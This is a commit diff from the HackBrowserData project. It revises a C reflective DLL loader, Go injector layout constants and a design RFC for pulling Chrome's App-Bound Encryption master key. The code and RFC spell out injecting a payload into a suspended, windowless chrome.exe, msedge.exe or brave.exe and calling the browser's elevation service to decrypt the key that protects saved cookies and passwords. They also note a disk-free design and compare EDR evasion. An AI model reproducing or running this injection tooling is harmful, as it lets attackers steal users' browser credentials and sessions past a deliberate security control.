fix(windows): harden the ABE payload injection lifecycle (#638)

* fix(windows): harden the ABE payload injection lifecycle

The browser main thread is never resumed, so no window appears and the temp user-data-dir is unnecessary. Payload memory is RW then RX, with an explicit FlushInstructionCache before the remote thread executes it.

* test(windows): use US spelling in offset test

* fix(windows): validate bootstrap parameter encoding
This commit is contained in:
slimwang authored and GitHub committed 2026-08-25 15:53:57 +08:00
1 parent da18dbc29f
commit 8c89ac72dd
10 files changed
+389 -234

No files matched your search

+2 -1
View File
@@ -17,7 +17,8 @@ ABE_C_SRCS = $(ABE_SRC_DIR)/abe_extractor.c \
$(ABE_SRC_DIR)/bootstrap.c
ABE_HDRS = $(ABE_SRC_DIR)/com_iid.h \
$(ABE_SRC_DIR)/bootstrap.h
$(ABE_SRC_DIR)/bootstrap.h \
$(ABE_SRC_DIR)/bootstrap_layout.h
$(ABE_BIN): $(ABE_C_SRCS) $(ABE_HDRS)
@mkdir -p $(ABE_BIN_DIR)
+37 -36
View File
@@ -19,8 +19,8 @@ typedef struct {
pfn_NtFlushInstructionCache NtFlushInstructionCache;
} resolved_imports;
#define MARK(imgBase, step) do { \
*(volatile BYTE *)((BYTE *)(imgBase) + BOOTSTRAP_MARKER_OFFSET) = (BYTE)(step); \
#define MARK(scratchBase, step) do { \
*(volatile BYTE *)((BYTE *)(scratchBase) + BOOTSTRAP_MARKER_OFFSET) = (BYTE)(step); \
} while (0)
// noinline is load-bearing: if this gets inlined into Bootstrap,
@@ -53,24 +53,25 @@ static ULONG_PTR locate_own_image_base(void)
return 0;
}
// read_preresolved_imports pulls the five function pointers the Go injector
// patched into the payload's DOS stub (see patchPreresolvedImports on the
// Go side). Returns FALSE if any slot is NULL — indicating a build-stub
// mismatch between C and Go.
static BOOL read_preresolved_imports(ULONG_PTR imageBase, resolved_imports *out)
// read_bootstrap_params pulls the scratch pointer and function pointers from
// the remote thread parameter block written by the Go injector. The target
// process is created by us and kept suspended, so passing explicit parameters
// is clearer than re-discovering imports from the PEB or patching the DOS stub.
static BOOL read_bootstrap_params(LPVOID lpParameter, resolved_imports *out,
ULONG_PTR *outScratchBase)
{
out->LoadLibraryA =
*(pfn_LoadLibraryA *)(imageBase + BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET);
out->GetProcAddress =
*(pfn_GetProcAddress *)(imageBase + BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET);
out->VirtualAlloc =
*(pfn_VirtualAlloc *)(imageBase + BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET);
out->VirtualProtect =
*(pfn_VirtualProtect *)(imageBase + BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET);
out->NtFlushInstructionCache =
*(pfn_NtFlushInstructionCache *)(imageBase + BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET);
if (!lpParameter) return FALSE;
return out->LoadLibraryA && out->GetProcAddress && out->VirtualAlloc &&
BootstrapParams *params = (BootstrapParams *)lpParameter;
*outScratchBase = params->scratch_base;
out->LoadLibraryA = (pfn_LoadLibraryA)params->LoadLibraryA;
out->GetProcAddress = (pfn_GetProcAddress)params->GetProcAddress;
out->VirtualAlloc = (pfn_VirtualAlloc)params->VirtualAlloc;
out->VirtualProtect = (pfn_VirtualProtect)params->VirtualProtect;
out->NtFlushInstructionCache =
(pfn_NtFlushInstructionCache)params->NtFlushInstructionCache;
return *outScratchBase && out->LoadLibraryA && out->GetProcAddress && out->VirtualAlloc &&
out->VirtualProtect && out->NtFlushInstructionCache;
}
@@ -146,8 +147,8 @@ static void apply_base_relocations(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt)
}
// link_iat resolves the Import Address Table for each DLL the payload
// references, using the pre-resolved LoadLibraryA + GetProcAddress the
// Go injector patched in.
// references, using the LoadLibraryA + GetProcAddress pointers the Go injector
// passes in the BootstrapParams block.
static void link_iat(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt,
const resolved_imports *imp)
{
@@ -211,9 +212,8 @@ static void set_section_protections(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt,
}
// invoke_dllmain calls the payload's DllMain with DLL_PROCESS_ATTACH.
// lpReserved carries the original raw-image base so DllMain (= the ABE
// extractor entry) can write the decrypted key back into the scratch
// region the Go injector reads.
// lpReserved carries the standalone scratch base so DllMain (= the ABE
// extractor entry) can write the decrypted key where the Go injector reads.
static ULONG_PTR invoke_dllmain(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt,
ULONG_PTR scratchBase)
{
@@ -227,37 +227,38 @@ __declspec(dllexport) ULONG_PTR WINAPI Bootstrap(LPVOID lpParameter)
{
ULONG_PTR imageBase = locate_own_image_base();
if (imageBase == 0) return 0;
MARK(imageBase, BOOTSTRAP_MARK_MZ_FOUND);
resolved_imports imp;
if (!read_preresolved_imports(imageBase, &imp)) {
MARK(imageBase, BOOTSTRAP_MARK_ERR_IMPORTS);
ULONG_PTR scratchBase = 0;
if (!read_bootstrap_params(lpParameter, &imp, &scratchBase)) {
if (scratchBase) MARK(scratchBase, BOOTSTRAP_MARK_ERR_IMPORTS);
return 0;
}
MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_OK);
MARK(scratchBase, BOOTSTRAP_MARK_MZ_FOUND);
MARK(scratchBase, BOOTSTRAP_MARK_IMPORTS_OK);
PIMAGE_NT_HEADERS64 newNt;
BYTE *newBase = allocate_and_copy_image(imageBase, &imp, &newNt);
if (!newBase) {
MARK(imageBase, BOOTSTRAP_MARK_ERR_ALLOC);
MARK(scratchBase, BOOTSTRAP_MARK_ERR_ALLOC);
return 0;
}
MARK(imageBase, BOOTSTRAP_MARK_ALLOC_OK);
MARK(imageBase, BOOTSTRAP_MARK_COPIED);
MARK(scratchBase, BOOTSTRAP_MARK_ALLOC_OK);
MARK(scratchBase, BOOTSTRAP_MARK_COPIED);
apply_base_relocations(newBase, newNt);
MARK(imageBase, BOOTSTRAP_MARK_RELOCATED);
MARK(scratchBase, BOOTSTRAP_MARK_RELOCATED);
link_iat(newBase, newNt, &imp);
MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_FIXED);
MARK(scratchBase, BOOTSTRAP_MARK_IMPORTS_FIXED);
set_section_protections(newBase, newNt, &imp);
MARK(imageBase, BOOTSTRAP_MARK_PERMISSIONS);
MARK(scratchBase, BOOTSTRAP_MARK_PERMISSIONS);
imp.NtFlushInstructionCache((HANDLE)-1, NULL, 0);
MARK(imageBase, BOOTSTRAP_MARK_CACHE_FLUSHED);
MARK(scratchBase, BOOTSTRAP_MARK_CACHE_FLUSHED);
ULONG_PTR result = invoke_dllmain(newBase, newNt, imageBase);
MARK(imageBase, BOOTSTRAP_MARK_DONE);
ULONG_PTR result = invoke_dllmain(newBase, newNt, scratchBase);
MARK(scratchBase, BOOTSTRAP_MARK_DONE);
return result;
}
@@ -13,11 +13,13 @@ const (
KeyOffset = 0x40
KeyLen = 0x20
ImpLoadLibraryAOffset = 0x40
ImpGetProcAddressOffset = 0x48
ImpVirtualAllocOffset = 0x50
ImpVirtualProtectOffset = 0x58
ImpNtFlushICOffset = 0x60
ParamsSize = 0x30
ParamScratchBase = 0x0
ParamLoadLibraryA = 0x8
ParamGetProcAddress = 0x10
ParamVirtualAlloc = 0x18
ParamVirtualProtect = 0x20
ParamNtFlushIC = 0x28
MarkMZFound = 0x2
MarkImportsOK = 0x5
@@ -20,11 +20,13 @@ const (
KeyOffset = C.BOOTSTRAP_KEY_OFFSET
KeyLen = C.BOOTSTRAP_KEY_LEN
ImpLoadLibraryAOffset = C.BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET
ImpGetProcAddressOffset = C.BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET
ImpVirtualAllocOffset = C.BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET
ImpVirtualProtectOffset = C.BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET
ImpNtFlushICOffset = C.BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET
ParamsSize = C.BOOTSTRAP_PARAMS_SIZE
ParamScratchBase = C.BOOTSTRAP_PARAM_SCRATCH_BASE
ParamLoadLibraryA = C.BOOTSTRAP_PARAM_LOAD_LIBRARY_A
ParamGetProcAddress = C.BOOTSTRAP_PARAM_GET_PROC_ADDRESS
ParamVirtualAlloc = C.BOOTSTRAP_PARAM_VIRTUAL_ALLOC
ParamVirtualProtect = C.BOOTSTRAP_PARAM_VIRTUAL_PROTECT
ParamNtFlushIC = C.BOOTSTRAP_PARAM_NT_FLUSH_IC
MarkMZFound = C.BOOTSTRAP_MARK_MZ_FOUND
MarkImportsOK = C.BOOTSTRAP_MARK_IMPORTS_OK
+26 -28
View File
@@ -6,11 +6,8 @@
// BootstrapScratch describes the IPC contract between the C payload running
// inside the target browser process (chrome.exe, msedge.exe, brave.exe, etc.)
// and the Go injector in our own process. It squats inside
// the target DLL's PE DOS header region. Windows' PE loader ignores the DOS
// stub at 0x40..0x77, and we also borrow a few reserved bytes between 0x28
// and 0x3B inside IMAGE_DOS_HEADER. The e_lfanew at 0x3C..0x3F MUST be left
// untouched so the PE loader can still find the NT headers.
// and the Go injector in our own process. The injector allocates this as a
// standalone RW block in the target process and passes its address to Bootstrap.
//
// This header is deliberately free of <windows.h> so cgo -godefs can read it
// on macOS / Linux to regenerate the Go-side constants.
@@ -26,23 +23,19 @@ typedef struct __attribute__((packed)) BootstrapScratch {
uint32_t hresult; // 0x2C: COM HRESULT on failure (0 otherwise)
uint32_t com_err; // 0x30: IElevator.DecryptData out DWORD on failure
uint8_t dos_header_tail[0x40 - 0x34]; // 0x34..0x3F, includes e_lfanew @ 0x3C
// 0x40..0x67: time-shared region
// pre-Bootstrap: 5 pre-resolved kernel32/ntdll function pointers
// post-DllMain : 32-byte master key at 0x40..0x5F
union {
struct {
uintptr_t LoadLibraryA; // 0x40
uintptr_t GetProcAddress; // 0x48
uintptr_t VirtualAlloc; // 0x50
uintptr_t VirtualProtect; // 0x58
uintptr_t NtFlushInstructionCache; // 0x60
} imports;
uint8_t key[32]; // 0x40..0x5F
} shared;
uint8_t _reserved_34[0x40 - 0x34]; // 0x34..0x3F
uint8_t key[32]; // 0x40..0x5F
} BootstrapScratch;
typedef struct __attribute__((packed)) BootstrapParams {
uintptr_t scratch_base;
uintptr_t LoadLibraryA;
uintptr_t GetProcAddress;
uintptr_t VirtualAlloc;
uintptr_t VirtualProtect;
uintptr_t NtFlushInstructionCache;
} BootstrapParams;
// Byte offsets derived from the struct. These are the ONLY place raw numeric
// offsets appear; every C and Go consumer uses these names (or the Go-side
// constants generated from them via cgo -godefs).
@@ -52,14 +45,18 @@ typedef struct __attribute__((packed)) BootstrapScratch {
#define BOOTSTRAP_EXTRACT_ERR_CODE_OFFSET offsetof(struct BootstrapScratch, extract_err_code)
#define BOOTSTRAP_HRESULT_OFFSET offsetof(struct BootstrapScratch, hresult)
#define BOOTSTRAP_COMERR_OFFSET offsetof(struct BootstrapScratch, com_err)
#define BOOTSTRAP_KEY_OFFSET offsetof(struct BootstrapScratch, shared.key)
#define BOOTSTRAP_KEY_OFFSET offsetof(struct BootstrapScratch, key)
#define BOOTSTRAP_KEY_LEN 32
#define BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET offsetof(struct BootstrapScratch, shared.imports.LoadLibraryA)
#define BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET offsetof(struct BootstrapScratch, shared.imports.GetProcAddress)
#define BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET offsetof(struct BootstrapScratch, shared.imports.VirtualAlloc)
#define BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET offsetof(struct BootstrapScratch, shared.imports.VirtualProtect)
#define BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET offsetof(struct BootstrapScratch, shared.imports.NtFlushInstructionCache)
// The Go injector serializes BootstrapParams by hand, so every field offset is generated
// here too — adding or reordering a field then changes layout.go and breaks gen-layout-verify.
#define BOOTSTRAP_PARAMS_SIZE sizeof(struct BootstrapParams)
#define BOOTSTRAP_PARAM_SCRATCH_BASE offsetof(struct BootstrapParams, scratch_base)
#define BOOTSTRAP_PARAM_LOAD_LIBRARY_A offsetof(struct BootstrapParams, LoadLibraryA)
#define BOOTSTRAP_PARAM_GET_PROC_ADDRESS offsetof(struct BootstrapParams, GetProcAddress)
#define BOOTSTRAP_PARAM_VIRTUAL_ALLOC offsetof(struct BootstrapParams, VirtualAlloc)
#define BOOTSTRAP_PARAM_VIRTUAL_PROTECT offsetof(struct BootstrapParams, VirtualProtect)
#define BOOTSTRAP_PARAM_NT_FLUSH_IC offsetof(struct BootstrapParams, NtFlushInstructionCache)
// Progress markers written by Bootstrap itself (enum-like, not offsets).
#define BOOTSTRAP_MARK_MZ_FOUND 0x02
@@ -94,7 +91,8 @@ _Static_assert(offsetof(struct BootstrapScratch, key_status) == 0x29, "key
_Static_assert(offsetof(struct BootstrapScratch, extract_err_code) == 0x2A, "extract_err_code offset");
_Static_assert(offsetof(struct BootstrapScratch, hresult) == 0x2C, "hresult offset");
_Static_assert(offsetof(struct BootstrapScratch, com_err) == 0x30, "com_err offset");
_Static_assert(offsetof(struct BootstrapScratch, shared) == 0x40, "shared offset");
_Static_assert(sizeof(((struct BootstrapScratch *)0)->shared.key) == 32, "key length");
_Static_assert(offsetof(struct BootstrapScratch, key) == 0x40, "key offset");
_Static_assert(sizeof(((struct BootstrapScratch *)0)->key) == 32, "key length");
_Static_assert(sizeof(struct BootstrapParams) == 48, "bootstrap params size");
#endif // HBD_ABE_BOOTSTRAP_LAYOUT_H
+53 -54
View File
@@ -1,13 +1,10 @@
# RFC-010: Chrome App-Bound Encryption Integration
**Author**: moonD4rk
**Status**: Living Document
**Created**: 2026-04-17
**Last updated**: 2026-04-19
**Author**: moonD4rk **Status**: Living Document **Created**: 2026-04-17 **Last updated**: 2026-04-19
## 1. Overview
Chrome 127+ introduced **App-Bound Encryption (ABE)** on Windows. The `Local State` key that decrypts `v10`-era cookies/passwords is no longer a user-bound DPAPI blob; it is now an *app-bound* blob that only a legitimate `chrome.exe` / `msedge.exe` / `brave.exe` process can unwrap via the `elevation_service` COM RPC (`IElevator::DecryptData`).
Chrome 127+ introduced **App-Bound Encryption (ABE)** on Windows. The `Local State` key that decrypts `v10`-era cookies/passwords is no longer a user-bound DPAPI blob; it is now an _app-bound_ blob that only a legitimate `chrome.exe` / `msedge.exe` / `brave.exe` process can unwrap via the `elevation_service` COM RPC (`IElevator::DecryptData`).
This RFC documents how HackBrowserData integrates ABE support end-to-end while keeping the project **pure Go by default, cross-platform, zero disk footprint at runtime, and zero cost for non-Windows contributors.**
@@ -19,13 +16,13 @@ Related RFCs:
### 1.1 Compatibility contract
| Component | Contract |
|---|---|
| Go toolchain | **1.20** (pinned; Go 1.21+ drops Win7) |
| Windows host | Any Win10 1909+ (PE loader + UCRT) |
| Chrome family | Any v127+ (ABE introduced) |
| zig toolchain | 0.13+ (for `make payload`) |
| Target arch | x86_64 only (x86 / ARM64 reserved) |
| Component | Contract |
| ------------- | -------------------------------------- |
| Go toolchain | **1.20** (pinned; Go 1.21+ drops Win7) |
| Windows host | Any Win10 1909+ (PE loader + UCRT) |
| Chrome family | Any v127+ (ABE introduced) |
| zig toolchain | 0.13+ (for `make payload`) |
| Target arch | x86_64 only (x86 / ARM64 reserved) |
## 2. The constraint that shapes the design
@@ -56,33 +53,38 @@ browser/chromium.Extract()
**Stage 2 — Payload preparation** (still our process)
1. Read the embedded payload via `//go:embed abe_extractor_amd64.bin` (~75 KB).
2. Patch 5 × `uintptr` function pointers into the payload's DOS stub (see §4.4).
2. Prepare a remote Bootstrap parameter block with the scratch pointer and 5 × `uintptr` function pointers (see §4.4).
3. Look up `Bootstrap`'s **raw file offset** (not RVA) via `debug/pe`.
**Stage 3 — Spawn + inject** (still our process, target is newly spawned)
```
CreateProcessW(browser.exe, CREATE_SUSPENDED)
VirtualAllocEx(target, RWX, sizeOf(payload))
WriteProcessMemory(patched bytes)
ResumeThread(mainThread) + Sleep(500ms) // let ntdll finish loader init
CreateRemoteThread(target, remoteBase + bootstrapFileOffset)
VirtualAllocEx(target, RW, sizeOf(payload))
WriteProcessMemory(payload bytes)
VirtualProtectEx(target, payload, RX)
FlushInstructionCache(target, payload) // required before the region is executed
VirtualAllocEx(target, RW, sizeof(BootstrapScratch))
VirtualAllocEx(target, RW, sizeof(BootstrapParams))
CreateRemoteThread(target, remoteBase + bootstrapFileOffset, paramsBase)
```
The browser's own primary thread is created suspended and never resumed — only our remote thread runs, so no Chromium UI is ever created and no `--user-data-dir` isolation is needed to survive `ProcessSingleton`. Process-wide loader init still happens, because the first thread to run in the process goes through `LdrInitializeThunk`.
**Stage 4 — Inside the remote `browser.exe`**
The hijacked thread runs `Bootstrap` (C), our self-written reflective DLL loader. On return it calls the payload's `DllMain`:
The remote thread runs `Bootstrap` (C), our self-written reflective DLL loader. On return it calls the payload's `DllMain`:
```
Bootstrap → see §4.1 (7 helpers + orchestrator)
↓ calls DllMain(DLL_PROCESS_ATTACH, imageBase)
↓ calls DllMain(DLL_PROCESS_ATTACH, scratchBase)
DoExtractKey → see §4.2
CoCreateInstance(CLSID, IID_v2 | fallback IID_v1)
CoSetProxyBlanket(PKT_PRIVACY + IMPERSONATE)
vtbl[slot]->DecryptData(bstrEnc)
↓ COM RPC
elevation_service (SYSTEM) → returns 32-byte plaintext key
publish_key() → imageBase[0x40..0x5F] (success)
publish_key() → scratchBase[0x40..0x5F] (success)
publish_error(code, hr, comErr) (failure)
```
@@ -105,16 +107,16 @@ Three translation units, ~500 lines of pure C. No C++, no assembly, no direct sy
Structure after refactor: **one ~30-line orchestrator + seven single-purpose static helpers**:
| Helper | Responsibility |
|---|---|
| --- | --- |
| `locate_own_image_base` | Backward-scan from `__builtin_return_address(0)` for MZ/PE magic (must stay `noinline`) |
| `read_preresolved_imports` | Read 5 function pointers the Go injector patched into DOS stub (§4.4) |
| `read_bootstrap_params` | Read the standalone scratch pointer and 5 function pointers from the remote parameter block (§4.4) |
| `allocate_and_copy_image` | `VirtualAlloc(SizeOfImage, RW)` + copy headers/sections |
| `apply_base_relocations` | Walk `IMAGE_DIRECTORY_ENTRY_BASERELOC`, fix `IMAGE_REL_BASED_DIR64` |
| `link_iat` | Resolve each imported DLL + fill IAT via pre-resolved `LoadLibraryA` / `GetProcAddress` |
| `link_iat` | Resolve each imported DLL + fill IAT via parameter-supplied `LoadLibraryA` / `GetProcAddress` |
| `set_section_protections` | `.text → RX`, `.rdata → R`, `.data → RW` per `Characteristics` |
| `invoke_dllmain` | Call mapped `DllMain(DLL_PROCESS_ATTACH, imageBase)` — `imageBase` is the scratch handoff pointer |
| `invoke_dllmain` | Call mapped `DllMain(DLL_PROCESS_ATTACH, scratchBase)` |
Progress markers: after each major step the orchestrator writes one byte to `imageBase + BOOTSTRAP_MARKER_OFFSET` (0x28, inside `IMAGE_DOS_HEADER.e_res2`). The Go injector reads this back on failure to pinpoint the stage.
Progress markers: after each major step the orchestrator writes one byte to `scratchBase + BOOTSTRAP_MARKER_OFFSET` (0x28). The Go injector reads this back on failure to pinpoint the stage.
### 4.2 COM extractor — `abe_extractor.c`
@@ -151,11 +153,11 @@ Static table mapping `exe_basename → { CLSID, IID_v1, IID_v2, kind }`. `kind`
Current coverage: Chrome Stable/Beta, Brave, Edge, Avast Secure Browser, CocCoc. Source file `crypto/windows/abe_native/com_iid.c` is the authoritative list — see §10 for how to add a new fork.
### 4.4 Pre-resolved imports (non-obvious design)
### 4.4 Bootstrap parameter block (non-obvious design)
The original plan had `Bootstrap` walk the PEB's `InMemoryOrderModuleList` to find kernel32 / ntdll and resolve `LoadLibraryA` etc. via export-table parsing. It worked in test processes but **crashed reproducibly in Chrome 147's broker process** — `resolve_export` returned NULL for every LDR entry. Root cause was never fully pinpointed (Chrome-specific process state + Windows 10 LDR layout interaction).
Workaround: **Go resolves the 5 required functions in its own process** (via `windows.LazyProc.Addr()` in `utils/injector/winapi_windows.go`) and **patches the raw u64 values into the payload's DOS stub** at fixed offsets before `WriteProcessMemory`. `Bootstrap` just reads them; no PEB walk, no export parsing.
Workaround: **Go resolves the 5 required functions in its own process** (via `windows.LazyProc.Addr()` in `utils/winapi/process_windows.go`) and writes those raw u64 values into a dedicated `BootstrapParams` block in the target process. `Bootstrap` reads the remote-thread parameter; no PEB walk, no export parsing, and no mutation of the payload bytes.
Validity relies on Windows **KnownDlls + session-consistent ASLR** — `kernel32.dll` and `ntdll.dll` load at the same virtual address in all processes of a boot session.
@@ -166,8 +168,8 @@ Validity relies on Windows **KnownDlls + session-consistent ASLR** — `kernel32
Four files collaborate:
| File | Role |
|---|---|
| `reflective_windows.go` | `Reflective.Inject(exePath, payload, env) ([]byte, error)` — the orchestrator. Win32 calls (`VirtualAllocEx`, `CreateRemoteThread`, `NtFlushIC`, import-address lookups) delegate to `utils/winapi/` via `CallBoolErr`. |
| --- | --- |
| `reflective_windows.go` | `Reflective.Inject(exePath, payload, env) ([]byte, error)` — the orchestrator. Win32 calls (`VirtualAllocEx`, `VirtualProtectEx`, `CreateRemoteThread`, import-address lookups) delegate to `utils/winapi/` via `CallBoolErr`. |
| `errors_windows.go` | `formatABEError(scratchResult) string` — renders the C-side diag channel into human-readable strings via two lookup maps (`ABE_ERR_*` names + known HRESULT names like `E_ACCESSDENIED`). |
| `pe_windows.go` | `FindExportFileOffset(dllBytes, "Bootstrap")` — raw-file offset via `debug/pe`. |
| `arch_windows.go` | Architecture validation (amd64-only today). |
@@ -176,12 +178,12 @@ Four files collaborate:
### 5.2 Scratch layout codegen
The C payload and Go injector communicate through a byte-level protocol inside the target process's DOS stub region. The layout is defined **once** as a `BootstrapScratch` struct + `offsetof`-based macros in `crypto/windows/abe_native/bootstrap_layout.h`. `_Static_assert`s in the same header guarantee compile-time detection of layout drift:
The C payload and Go injector communicate through a byte-level protocol in a standalone RW scratch allocation inside the target process. The layout is defined **once** as a `BootstrapScratch` struct + `offsetof`-based macros in `crypto/windows/abe_native/bootstrap_layout.h`. `_Static_assert`s in the same header guarantee compile-time detection of layout drift:
```c
_Static_assert(offsetof(struct BootstrapScratch, marker) == 0x28, "marker offset");
_Static_assert(offsetof(struct BootstrapScratch, hresult) == 0x2C, "hresult offset");
_Static_assert(offsetof(struct BootstrapScratch, shared) == 0x40, "shared offset");
_Static_assert(offsetof(struct BootstrapScratch, key) == 0x40, "key offset");
```
Go consumes the same constants via **`go tool cgo -godefs`** (a development-time tool, not a runtime dependency). `make gen-layout` regenerates `crypto/windows/abe_native/bootstrap/layout.go` from `bootstrap_layout.h` using `CC="zig cc"` for bit-identical results across host OSes. `make gen-layout-verify` can be run locally to verify the committed `layout.go` matches the current header.
@@ -205,14 +207,14 @@ On extraction success, logs at `Info` level (`abe: retrieved <browser> master ke
## 6. Build chain
- **Default build** (any host, no zig): `go build ./cmd/hack-browser-data/` succeeds; ABE is stubbed out. Legacy v10/v11 cookies still decrypt via DPAPI.
- **Windows release with ABE**: `make build-windows` = `make payload` (zig cc → `crypto/windows/payload/abe_extractor_amd64.bin`) + `GOOS=windows go build -tags abe_embed`. The `abe_embed` tag activates `//go:embed` on the compiled binary.
- **Layout regen**: `make gen-layout` after any change to `bootstrap_layout.h`.
- **Windows release with ABE**: `make build-windows` = `make payload` (zig cc → `crypto/windows/payload/abe_extractor_amd64.bin`) + `GOOS=windows go build -tags abe_embed`. The `abe_embed` tag activates `//go:embed` on the compiled binary, so the payload is always built from the C sources in the same run and cannot go stale.
- **Layout regen**: `make gen-layout` after any change to `bootstrap_layout.h`. This also covers the `BootstrapParams` field offsets the Go injector serializes by hand.
- **`go.mod` unchanged** — no new dependencies. `zig` is the only external toolchain, and only when actually rebuilding the payload.
## 7. Impact on non-Windows contributors — zero
| Scenario | Requires zig? | Requires CGO? | Default `go build ./...` succeeds? |
|---|---|---|---|
| --- | --- | --- | --- |
| macOS / Linux feature work | no | no | yes |
| Windows non-ABE (v10/DPAPI) | no | no | yes (stub path) |
| Windows release with ABE | **yes** | no | `make build-windows` |
@@ -227,50 +229,47 @@ All ABE-specific Go code is behind `//go:build windows` (plus `&& abe_embed` for
- Payload DLL exists only as:
1. Build artifact on the developer machine (`crypto/windows/payload/abe_extractor_amd64.bin`, git-ignored)
2. `.rdata` section of `hack-browser-data.exe` (`//go:embed`)
3. Go `[]byte` in our process memory (one `copy()` for import patching)
4. `VirtualAllocEx`'d region in the target browser during injection; released on `TerminateProcess`
3. Go `[]byte` in our process memory
4. `VirtualAllocEx`'d RX payload region in the target browser during injection; released on `TerminateProcess`
No `%TEMP%\*.dll` or `%TEMP%\*.txt`. The master key is handed back via `ReadProcessMemory` on the target's scratch region at `remoteBase + 0x40` (32 bytes). Everything stays in RAM.
No `%TEMP%\*.dll` or `%TEMP%\*.txt`. The master key is handed back via `ReadProcessMemory` on the target's standalone scratch region at `scratchBase + 0x40` (32 bytes). Everything stays in RAM.
### 8.1 Scratch layout
```
imageBase + 0x00 MZ header (untouched by us)
imageBase + 0x28 marker (1 B) ← Bootstrap progress
imageBase + 0x29 key_status (1 B; 0x01 = ready)
imageBase + 0x2A extract_err_code (1 B) ← ABE_ERR_* category on failure
imageBase + 0x2C hresult (4 B LE) ← COM HRESULT on failure (0 on success)
imageBase + 0x30 com_err (4 B LE) ← IElevator out DWORD on failure
imageBase + 0x3C e_lfanew (PE header ptr, MUST NOT overwrite)
imageBase + 0x40..0x67 shared region (union):
pre-Bootstrap: 5 × uintptr (LoadLibraryA, GetProcAddress,
VirtualAlloc, VirtualProtect, NtFlushIC)
post-DllMain : 32-byte master key at 0x40..0x5F
scratchBase + 0x28 marker (1 B) ← Bootstrap progress
scratchBase + 0x29 key_status (1 B; 0x01 = ready)
scratchBase + 0x2A extract_err_code (1 B) ← ABE_ERR_* category on failure
scratchBase + 0x2C hresult (4 B LE) ← COM HRESULT on failure (0 on success)
scratchBase + 0x30 com_err (4 B LE) ← IElevator out DWORD on failure
scratchBase + 0x40..0x5F 32-byte master key
```
`0x40..0x5F` is **time-shared**: Go writes import pointers pre-injection; Bootstrap reads them once at function start; then DllMain overwrites the same bytes with the key. No concurrent readers.
Import pointers live in the separate `BootstrapParams` block passed as the remote thread parameter; the scratch block is only diagnostics plus key material.
## 9. Comparison with reference implementations
Three implementations of "extract Chrome v20 master key via reflective injection" exist in the ecosystem.
| Dimension | **This project** | **injector-old** (local C++ fork) | **xaitax/Chrome-App-Bound-Encryption-Decryption** |
|---|---|---|---|
| --- | --- | --- | --- |
| Top-level language | Go + C | Go + C++ | C++ end-to-end |
| Injector runtime | Go, `CGO_ENABLED=0` | Go, `CGO_ENABLED=0` | C++ standalone exe |
| Reflective loader | **Self-written C**, ~280 lines | Stephen Fewer 2012 `ReflectiveLoader` (vendored C, ~500) | Self-written C++, ~400 |
| kernel32 resolution | **Pre-resolved by Go, patched into DOS stub** | PEB walk + `_rotr` hash | PEB walk + `_rotr` hash |
| kernel32 resolution | **Pre-resolved by Go, passed in BootstrapParams** | PEB walk + `_rotr` hash | PEB walk + `_rotr` hash |
| Syscall mechanism | Win32 APIs | Win32 APIs | Direct syscall via ASM trampoline |
| COM DecryptData dispatch | Vtable slot by browser kind (5/8/13) | Full interface via `ComPtr` | Same as injector-old |
| IPC payload → injector | **env var in, scratch-region read out** | Named pipe (full duplex) | Named pipe (full duplex) |
| Build toolchain for payload | `zig cc` | MSVC / clang-cl | MSVC |
| Runtime disk footprint | **0 bytes** | 1 temp file + pipe | Pipe |
| EDR evasion posture | None (Win32 APIs visible) | Partial (optional Nt*) | Strong (direct syscalls) |
| EDR evasion posture | None (Win32 APIs visible) | Partial (optional Nt\*) | Strong (direct syscalls) |
### 9.1 Why we didn't vendor xaitax's Bootstrap
Tempting — it's known-good. But: C++ in an otherwise pure-C/Go repo; ASM trampolines + direct syscalls add a second toolchain leg; pipe-based IPC is 300+ lines of C we don't need; browser termination is a product-policy decision we skipped.
Comparisons in this section were made against [xaitax/Chrome-App-Bound-Encryption-Decryption @ `63b719f`](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption/commit/63b719f2ab3dbf8573fd9228a9c028526e9eb1db). It is a reference for reading only — nothing from it is vendored, and it is deliberately not a submodule.
### 9.2 Why we abandoned Stephen Fewer's loader
`while(curr)` loop without `curr != head` termination → walked past end of the circular `InMemoryOrderModuleList` → dereferenced `PEB_LDR_DATA` itself as an `LDR_DATA_TABLE_ENTRY` → access-violated on `BaseDllName.pBuffer`. The 2012-era struct alignment hack (commented-out first `LIST_ENTRY`) also makes it brittle against Windows internals. Our replacement is strictly smaller, addresses these bugs explicitly, and is first-party.
@@ -278,7 +277,7 @@ Tempting — it's known-good. But: C++ in an otherwise pure-C/Go repo; ASM tramp
## 10. Browser coverage
| Browser class | Behavior |
|---|---|
| --- | --- |
| Chrome Stable/Beta, Brave, CocCoc | ABE v20 via `CHROME_BASE` slot (5) |
| Microsoft Edge | ABE v20 via `EDGE` slot (8); v2 `E_NOINTERFACE` → v1 fallback succeeds |
| Avast Secure Browser | ABE v20 via `AVAST` slot (13) |
@@ -318,7 +317,7 @@ Edit `crypto/windows/abe_native/com_iid.c` (add the entry), `utils/winutil/brows
## 13. Related RFCs
| RFC | Relation |
|---|---|
| --- | --- |
| [RFC-003 Chromium Encryption](003-chromium-encryption.md) | v10/v11/v20 cipher format reference; v20 now implemented on Windows per this RFC |
| [RFC-006 Key Retrieval](006-key-retrieval-mechanisms.md) | `masterkey.Retrievers` taxonomy; Windows populates V10 (DPAPI) + V20 (ABE) as independent tier slots |
| [RFC-009 Windows Locked Files](009-windows-locked-file-bypass.md) | Sibling Windows-specific workaround (handle duplication for locked DBs) |
+1 -1
View File
